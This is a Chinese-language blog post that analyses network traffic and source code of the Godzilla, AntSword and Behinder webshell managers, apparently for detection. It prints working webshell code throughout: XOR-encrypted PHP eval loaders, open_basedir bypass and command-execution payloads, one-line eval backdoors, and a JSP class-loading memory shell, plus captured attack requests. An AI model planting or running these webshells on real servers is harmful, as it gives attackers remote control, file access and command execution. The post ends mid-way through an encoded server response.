欢迎来到7N的个人博客!

常见webshell管理工具的流量+木马源码分析


avatar
7ech_N3rd 2024-12-13 352


Godzilla

Php_Xor_encode_key

小马逆向

<?php
@session_start();
@set_time_limit(0);
@error_reportin
$D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';//这个key是你输入key的md5的前十六位
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

简单的异或对称加密

黑客传参 -> 解密后存入session -> 从session取出后执行,并且配合(md5前16位 +执行结果+ md5后16位)返回

流量分析

可以看出来这个红色部分就是哥斯拉的经典流量特征:

先抓个包

用上述函数解密:

    php > echo encode(base64_decode('DlMRWA1cL1gOVDc1MjRhVDxVCV8RXQ=='),'3c6e0b8a9c15224a');
    methodNameg_close

后面的也跟代码审计的一样:

木马本体

之前的是小马部分,接下来才是通过小马载入内存的大马:

暂时无法在飞书文档外展示此内容

让gpt总结一下:

    会话管理

    getSession(): 返回引用了全局$_SES变量的值,这是一个会话管理机制的一部分,用来在整个脚本执行期间持续追踪和管理自定义的会话数据。

    数据处理和加密

    S1MiwYYr(K): 使用简单的异或(XOR)操作,根据提供的密钥$K对数据$D进行加密或解密。此方法在安全性方面比较弱,易于被破解。
    base64Encode($data) 和 base64Decode($string): 对数据进行Base64编码和解码。Base64编码主要用于在不支持二进制数据的场合中传输和存储数据。

    系统功能的替代实现

    reDefSystemFunc(): 尝试定义一些标准的PHP函数(如果它们不存在),如file_get_contents、gzdecode、sys_get_temp_dir等。这可能用在某些禁用了这些函数的环境中,作为回退机制。

    文件和目录操作

    newDir() 和 newFile(): 这两个函数分别用于创建新的目录和空文件。
    deleteFile() 和 deleteDir($p): 删除指定的文件和目录。
    copyFile() 和 moveFile(): 复制和移动文件。
    getFile() 和 readFileContent(): 获取并列出目录下的文件详情,以及读取具体文件内容。
    uploadFile(): 处理文件上传,保存上传的文件内容到指定位置。

    命令执行

    execCommand(): 可以执行系统命令。这个函数尝试多种方法来执行命令,甚至包括尝试利用shellshock漏洞。

    数据库操作

    execSql(): 执行SQL命令。这个函数支持多种数据库类型,并根据传入参数做相应的处理,执行数据库查询或更新。

    错误和异常处理

    payloadExceptionHandler($exception) 和 payloadErrorHandler($errno, $errstr, $errfile, $errline, $errcontext): 这两个函数用于自定义错误和异常处理,通过修改全局变量$ERRMSG来收集错误信息。

    会话和编码处理

    bypass_open_basedir(): 尝试绕过PHP的open_basedir限制。这是一种安全限制,用来限制PHP脚本只能访问指定目录内的文件。

    大文件处理

    bigFileDownload() 和 bigFileUpload(): 提供了大文件下载和上传的能力,特别是bigFileDownload能够按需读取文件的特定部分。

    这段代码的目的显然是为了提供一个通用的远程管理工具,允许通过Web请求执行命令、操作文件系统以及执行数据库操作等。这明显是为了远程操作的需求,通常在Web Shell或类似后门中见到。这些操作可能被用于合法的管理任务,但在没有明确授权的情况下使用,则属于安全风险。

对应这些功能

Php_Xor_Eval

这个就属于常规一句话木马了

主要分析流量

相比于Php_Xor的确认,会多出一个传递加密的key的明文包:

    POST /muma.php HTTP/1.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
    Cookie: PHPSESSID=tj46o54u26hq2t1ldim85i9vvh;
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Host: 8.134.221.106
    Content-type: application/x-www-form-urlencoded
    Content-Length: 1263
    Connection: close

    pass=eval%28base64_decode%28strrev%28urldecode%28%27K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBnc0NHKgYWagACIgACIgAiCNsXZzxWZ9BCIgAiCNsTK2EDLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKpkXZrRCLpEGdhRGJo4WdyBEKlR2bj5WZoUGZvNmbl9FN2U2chJGIvh2YlBCIgACIgACIK0wOpYTMsADLpkXZrRiLzNXYwRCK1QWboIHdzJWdzByboNWZgACIgACIgAiCNsTKkF2bslXYwRCKsFmdllQCK0QfgACIgACIgAiCNsTK5V2akwCZh9Gb5FGckgSZk92YuVWPkF2bslXYwRCIgACIgACIgACIgAiCNsXKlNHbhZWP90TKi8mZul0cjl2chJEdldmIsQWYvxWehBHJoM3bwJHdzhCImlGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD%27%29%29%29%29%3B&key=DlMRWA1cL1gOVDc2MjRhRwZFEQ%3D%3D

稍加解密:

    @session_start();
    @set_time_limit(0);
    @error_reporting(0);
    function encode($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $c = $K[$i+1&15];
            $D[$i] = $D[$i]^$c;
        }
        return $D;
    }
    $pass='key';
    $payloadName='payload';
    $key='3c6e0b8a9c15224a';
    if (isset($_POST[$pass])){
        $data=encode(base64_decode($_POST[$pass]),$key);
        if (isset($_SESSION[$payloadName])){
            $payload=encode($_SESSION[$payloadName],$key);
            if (strpos($payload,"getBasicsInfo")===false){
                $payload=encode($payload,$key);
            }
                    eval($payload);
            echo substr(md5($pass.$key),0,16);
            echo base64_encode(encode(@run($data),$key));
            echo substr(md5($pass.$key),16);
        }else{
            if (strpos($data,"getBasicsInfo")!==false){
                $_SESSION[$payloadName]=encode($data,$key);
            }
        }
    }

会发现和之前的小马内容一致,之后走相同的流程就行了

特征总结

Antsword

操作代码

    <?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);
    $opdir = @ini_get("open_basedir");
    if ($opdir) {
        $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
        $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
        @array_push($oparr, $ocwd, sys_get_temp_dir());
        foreach ($oparr as $item) {
            if (!@is_writable($item)){
                continue;
            };
            $tmdir = $item . "/.a60cc";
            @mkdir($tmdir);
            if (!@file_exists($tmdir)) {
                continue;
            }
            $tmdir = realpath($tmdir);
            @chdir($tmdir);
            @ini_set("open_basedir", "..");
            $cntarr = @preg_split("/\\\\|\//", $tmdir);
            for ($i = 0; $i < sizeof($cntarr); $i++) {
                @chdir("..");
            };
            @ini_set("open_basedir", "/");
            @rmdir($tmdir);
            break;
        };
    }

    function asenc($out) {
        return $out;
    }

    function asoutput() {
        $output = ob_get_contents();
        ob_end_clean();
        echo "7ede" . "34ca";
        echo @asenc($output); 
        echo "9d1" . "daeb";
    }
    ob_start();
    try {
        $D = dirname($_SERVER["SCRIPT_FILENAME"]);
        if ($D == "") {
            $D = dirname($_SERVER["PATH_TRANSLATED"]);
        }
        $R = "{$D}   ";
        if (substr($D, 0, 1) != "/") {
            foreach (range("C", "Z") as $L) {
                if (is_dir("{$L}:")) {
                    $R .= "{$L}:";
                }
            }
        } else {
            $R .= "/";
        }
        $R .= "  ";
        $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
        $s = ($u) ? $u["name"] : "";
    }

会配合上另外一个参数传入:

    <?php
    @ini_set("display_errors", "0");
    @set_time_limit(0);

    $opdir = @ini_get("open_basedir");
    if ($opdir) {
        $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
        $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
        @array_push($oparr, $ocwd, sys_get_temp_dir());

        foreach ($oparr as $item) {
            if (!@is_writable($item)) {
                continue;
            }

            $tmdir = $item . "/.794af52968";
            @mkdir($tmdir);

            if (!@file_exists($tmdir)) {
                continue;
            }

            $tmdir = realpath($tmdir);
            @chdir($tmdir);
            @ini_set("open_basedir", "..");

            $cntarr = @preg_split("/\\\\|\//", $tmdir);
            for ($i = 0; $i < sizeof($cntarr); $i++) {
                @chdir("..");
            }

            @ini_set("open_basedir", "/");
            @rmdir($tmdir);
            break;
        }
    }

    function asenc($out) {
        return $out;
    }

    function asoutput() {
        $output = ob_get_contents();
        ob_end_clean();
        echo "2c44e1" . "6e1411";
        echo @asenc($output);
        echo "67c3" . "ce4f";
    }

    ob_start();

    try {
        $F = base64_decode(substr($_POST["u64d7f87fc6ad5"], 2));
        $P = @fopen($F, "r");
        echo(@fread($P, filesize($F) ? filesize($F) : 4096));
        @fclose($P);
    } catch (Exception $e) {
        echo "ERROR://" . $e->getMessage();
    }

    asoutput();
    die();
    ?>
命令执行模块:

以输入ls为例子

    //..
    try {
        $p = base64_decode(substr($_POST["qef16d0e6bc3d7"], 2));//执行的命令
        $s = base64_decode(substr($_POST["j84fe6f2e1f386"], 2)); //这个是指定的shell
        $envstr = @base64_decode(substr($_POST["u97f62ee7cd1f5"], 2));//环境变量
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
        //...
POST请求:
    j84fe6f2e1f386=OgY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gNjNmMWIwM2Q2N2U7cHdkO2VjaG8gNGRjYWQ= //cd "/var/www/html";cd /;echo 63f1b03d67e;pwd;echo 4dcad
    qef16d0e6bc3d7=TSL2Jpbi9zaA==///bin/sh
    u97f62ee7cd1f5=Xf//无

编码器

base64

多了这样一行:

    @eval(@base64_decode($_POST['wa226143c75fb4']));
chr

无非就是将代码chr编码

chr16

rot13

凯撒解密而已:

    @eval(@str_rot13($_POST['k1402a3109ad1e']));

解码器:

只是加解密函数不同了,同理rot13

Behinder

先以其中的base64_xor解码为例子分析:

    <%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
    <%!
    private byte[] Decrypt(byte[] data) throws Exception
    {
         byte[] decodebs;
            Class baseCls ;
                    try{
                        baseCls=Class.forName("java.util.Base64");
                        Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                        decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                    }
                    catch (Throwable e)
                    {
                        baseCls = Class.forName("sun.misc.BASE64Decoder");
                        Object Decoder=baseCls.newInstance();
                        decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                    }
        String key="e45e329feb5d925b";
        for (int i = 0; i < decodebs.length; i++) {
            decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
        }
        return decodebs;
    }
    %>
    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
            super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                byte[] buf = new byte[512];
                int length=request.getInputStream().read(buf);
                while (length>0)
                {
                    byte[] data= Arrays.copyOfRange(buf,0,length);
                    bos.write(data);
                    length=request.getInputStream().read(buf);
                }
                /* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容性
                out.clear();
                out=pageContext.pushBody();
                */
                out.clear();
                out=pageContext.pushBody();
            new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
    %>

可以看到,这里利用反序列化的方式生成了内存马。

解密代码:

    <?php

    $encryptedData = ''; 
    $outputFilePath = '';

    function Decrypt($data) {
        // PHP 7.1+ 推荐使用 sodium_base642bin,更安全且无需担心字符集问题
        $decodebs = base64_decode($data);

        // PHP 中直接使用异或操作解密
        $key = "e45e329feb5d925b";
        $decodedLength = strlen($decodebs);
        $keyLength = strlen($key);
        $decryptedData = '';

        for ($i = 0; $i < $decodedLength; $i++) {
            // PHP 中字符串索引是从0开始的,所以需要调整索引
            $decryptedData .= chr(ord($decodebs[$i]) ^ ord($key[($i + 1) & ($keyLength - 1)]));
        }

        return $decryptedData;
    }

    function decryptAndSaveFile($encryptedData, $outputFilePath)
    {
        $decryptedData = Decrypt($encryptedData);

        // 将解密后的数据写入文件
        if (file_put_contents($outputFilePath, $decryptedData) === false) {
            return false; // 或者抛出异常
        }

        return true; // 文件保存成功
    }

    // 使用示例 // 解密后文件的保存路径

    if (decryptAndSaveFile($encryptedData, $outputFilePath)) {
        echo "文件已成功解密并保存。";
    } else {
        echo "文件解密或保存失败。";
    }

这个是解密的流量:

暂时无法在飞书文档外展示此内容

对其class逆向,可以看到

    package net.khvhht;

    import java.util.LinkedHashMap;
    import java.util.Map;
    import java.util.Random;

    /* compiled from: Echo.java */
    /* loaded from: payload.class */
    public class Ksucryetd {
        public static String content;
        public static String payloadBody;
        private Object Request;
        private Object Response;
        private Object Session;

        private byte[] Encrypt(byte[] bArr) throws Exception {
            byte[] bArr2;
            for (int i = 0; i < bArr.length; i++) {
                bArr[i] = (byte) (bArr[i] ^ "e45e329feb5d925b".getBytes()[(i + 1) & 15]);
            }
            try {
                Class<?> cls = Class.forName("java.util.Base64");
                Object invoke = cls.getMethod("getEncoder", null).invoke(cls, null);
                bArr2 = (byte[]) invoke.getClass().getMethod("encode", byte[].class).invoke(invoke, bArr);
            } catch (Throwable th) {
                Object newInstance = Class.forName("sun.misc.BASE64Encoder").newInstance();
                bArr2 = ((String) newInstance.getClass().getMethod("encode", byte[].class).invoke(newInstance, bArr)).replace("\n", "").replace("\r", "").getBytes();
            }
            return bArr2;
        }

        public Ksucryetd() {
            content = "";
            content += "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";
        }

        public boolean equals(Object obj) {
            Map<String, String> result;
            try {
                result = new LinkedHashMap<>();
                try {
                    fillContext(obj);
                    result.put("status", "success");
                    result.put("msg", content);
                    try {
                        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                        so.getClass().getMethod("write", byte[].class).invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
                        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
                        return true;
                    } catch (Exception e) {
                        e.printStackTrace();
                        return true;
                    }
                } catch (Exception e2) {
                    result.put("msg", e2.getMessage());
                    result.put("status", "success");
                    try {
                        Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                        so2.getClass().getMethod("write", byte[].class).invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                        so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]);
                        so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]);
                        return true;
                    } catch (Exception e3) {
                        e3.printStackTrace();
                        return true;
                    }
                }
            } catch (Throwable th) {
                try {
                    Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
                    so3.getClass().getMethod("write", byte[].class).invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8")));
                    so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]);
                    so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]);
                } catch (Exception e4) {
                    e4.printStackTrace();
                }
                throw th;
            }
        }

        private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
            StringBuilder sb = new StringBuilder();
            System.getProperty("java.version");
            sb.append("{");
            for (String key : entity.keySet()) {
                sb.append("\"" + key + "\":\"");
                String value = entity.get(key);
                if (encode) {
                    value = base64encode(value.getBytes());
                }
                sb.append(value);
                sb.append("\",");
            }
            if (sb.toString().endsWith(",")) {
                sb.setLength(sb.length() - 1);
            }
            sb.append("}");
            return sb.toString();
        }

        private void fillContext(Object obj) throws Exception {
            if (obj.getClass().getName().indexOf("PageContext") >= 0) {
                this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
                this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
                this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
            } else {
                Map<String, Object> objMap = (Map) obj;
                this.Session = objMap.get("session");
                this.Response = objMap.get("response");
                this.Request = objMap.get("request");
            }
            this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
        }

        private String base64encode(byte[] data) throws Exception {
            String result;
            System.getProperty("java.version");
            try {
                getClass();
                Class Base64 = Class.forName("java.util.Base64");
                Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
                result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
            } catch (Throwable th) {
                getClass();
                Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                result = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data)).replace("\n", "").replace("\r", "");
            }
            return result;
        }

        private byte[] getMagic() throws Exception {
            int magicNum = Integer.parseInt(this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString().substring(0, 2), 16) % 16;
            Random random = new Random();
            byte[] buf = new byte[magicNum];
            for (int i = 0; i < buf.length; i++) {
                buf[i] = (byte) random.nextInt(256);
            }
            return buf;
        }
    }

这也对应了我们的抓包:

然后服务器就会回一个带有系统信息的包:

    {"osInfo":"TGludXg0LjE5LjAtNS1hbWQ2NGFtZDY0","driveList":"Lzs=","localIp":"MTA0LjE2MC4xOC4yMDM=","currentPath":"L29wdC9hcGFjaGUtdG9tY2F0L2Jpbg==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+U0hFTEw9L2Jpbi9iYXNoPGJyLz5TU0hfVFRZPS9kZXYvcHRzLzA8YnIvPlNTSF9DTElFTlQ9MjEwLjM5LjEuOTYgMjUyNyAyMjxici8+SkRLX0pBVkFfT1BUSU9OUz0gLS1hZGQtb3BlbnM9amF2YS5iYXNlL2phdmEubGFuZz1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLmJhc2UvamF2YS5pbz1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLmJhc2UvamF2YS51dGlsPUFMTC1VTk5BTUVEIC0tYWRkLW9wZW5zPWphdmEuYmFzZS9qYXZhLnV0aWwuY29uY3VycmVudD1BTEwtVU5OQU1FRCAtLWFkZC1vcGVucz1qYXZhLnJtaS9zdW4ucm1pLnRyYW5zcG9ydD1BTEwtVU5OQU1FRDxici8+VEVSTT14dGVybS0yNTZjb2xvcjxici8+T0xEUFdEPS9vcHQvYXBhY2hlLXRvbWNhdDxici8+VVNFUj1yb290PGJyLz5MQU5HPWVuX1VTLlVURi04PGJyLz5EQlVTX1NFU1NJT05fQlVTX0FERFJFU1M9dW5peDpwYXRoPS9ydW4vdXNlci8wL2J1czxici8+WERHX1NFU1NJT05fSUQ9NzE0MDxici8+WERHX1NFU1NJT05fVFlQRT10dHk8YnIvPlNTSF9DT05ORUNUSU9OPTIxMC4zOS4xLjk2IDI1MjcgMTA0LjE2MC4xOC4yMDMgMjI8YnIvPk1BSUw9L3Zhci9tYWlsL3Jvb3Q8YnIvPkxPR05BTUU9cm9vdDxici8+UFdEPS9vcHQvYXBhY2hlLXRvbWNhdC9iaW48YnIvPlhER19SVU5USU1FX0RJUj0vcnVuL3VzZXIvMDxici8+SE9NRT0vcm9vdDxici8+U0hMVkw9MTxici8+WERHX1NFU1NJT05fQ0xBU1M9dXNlcjxici8+Xz0uL3N0YXJ0dXAuc2g8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+YXd0LnRvb2xraXQgPSBzdW4uYXd0LlgxMS5YVG9vbGtpdDxici8+amF2YS5zcGVjaWZpY2F0aW9uLnZlcnNpb24gPSAxMTxici8+c3VuLmNwdS5pc2FsaXN0ID0gPGJyLz5zdW4uam51LmVuY29kaW5nID0gVVRGLTg8YnIvPmphdmEuY2xhc3MucGF0aCA9IC9vcHQvYXBhY2hlLXRvbWNhdC9iaW4vYm9vdHN0cmFwLmphcjovb3B0L2FwYWNoZS10b21jYXQvYmluL3RvbWNhdC1qdWxpLmphcjxici8+amF2YS52bS52ZW5kb3IgPSBEZWJpYW48YnIvPnN1bi5hcmNoLmRhdGEubW9kZWwgPSA2NDxici8+amF2YS52ZW5kb3IudXJsID0gaHR0cHM6Ly90cmFja2VyLmRlYmlhbi5vcmcvb3Blbmpkay0xMTxici8+Y2F0YWxpbmEudXNlTmFtaW5nID0gdHJ1ZTxici8+dXNlci50aW1lem9uZSA9IEFtZXJpY2EvTmV3X1lvcms8YnIvPm9yZy5hcGFjaGUuZWwuR0VUX0NMQVNTTE9BREVSX1VTRV9QUklWSUxFR0VEID0gZmFsc2U8YnIvPm9zLm5hbWUgPSBMaW51eDxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLnZlcnNpb24gPSAxMTxici8+c3VuLmphdmEubGF1bmNoZXIgPSBTVU5fU1RBTkRBUkQ8YnIvPnVzZXIuY291bnRyeSA9IFVTPGJyLz5zdW4uYm9vdC5saWJyYXJ5LnBhdGggPSAvdXNyL2xpYi9qdm0vamF2YS0xMS1vcGVuamRrLWFtZDY0L2xpYjxici8+c3VuLmphdmEuY29tbWFuZCA9IG9yZy5hcGFjaGUuY2F0YWxpbmEuc3RhcnR1cC5Cb290c3RyYXAgc3RhcnQ8YnIvPmpkay5kZWJ1ZyA9IHJlbGVhc2U8YnIvPnN1bi5jcHUuZW5kaWFuID0gbGl0dGxlPGJyLz51c2VyLmhvbWUgPSAvcm9vdDxici8+dXNlci5sYW5ndWFnZSA9IGVuPGJyLz5qYXZhLnNwZWNpZmljYXRpb24udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLm5hbWluZy5mYWN0b3J5LnVybC5wa2dzID0gb3JnLmFwYWNoZS5uYW1pbmc8YnIvPmphdmEudmVyc2lvbi5kYXRlID0gMjAyNC0wNC0xNjxici8+amF2YS5ob21lID0gL3Vzci9saWIvanZtL2phdmEtMTEtb3Blbmpkay1hbWQ2NDxici8+aWdub3JlLmVuZG9yc2VkLmRpcnMgPSA8YnIvPmZpbGUuc2VwYXJhdG9yID0gLzxici8+amF2YS52bS5jb21wcmVzc2VkT29wc01vZGUgPSAzMi1iaXQ8YnIvPmxpbmUuc2VwYXJhdG9yID0gCjxici8+amF2YS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFBsYXRmb3JtIEFQSSBTcGVjaWZpY2F0aW9uPGJyLz5qYXZhLnZtLnNwZWNpZmljYXRpb24udmV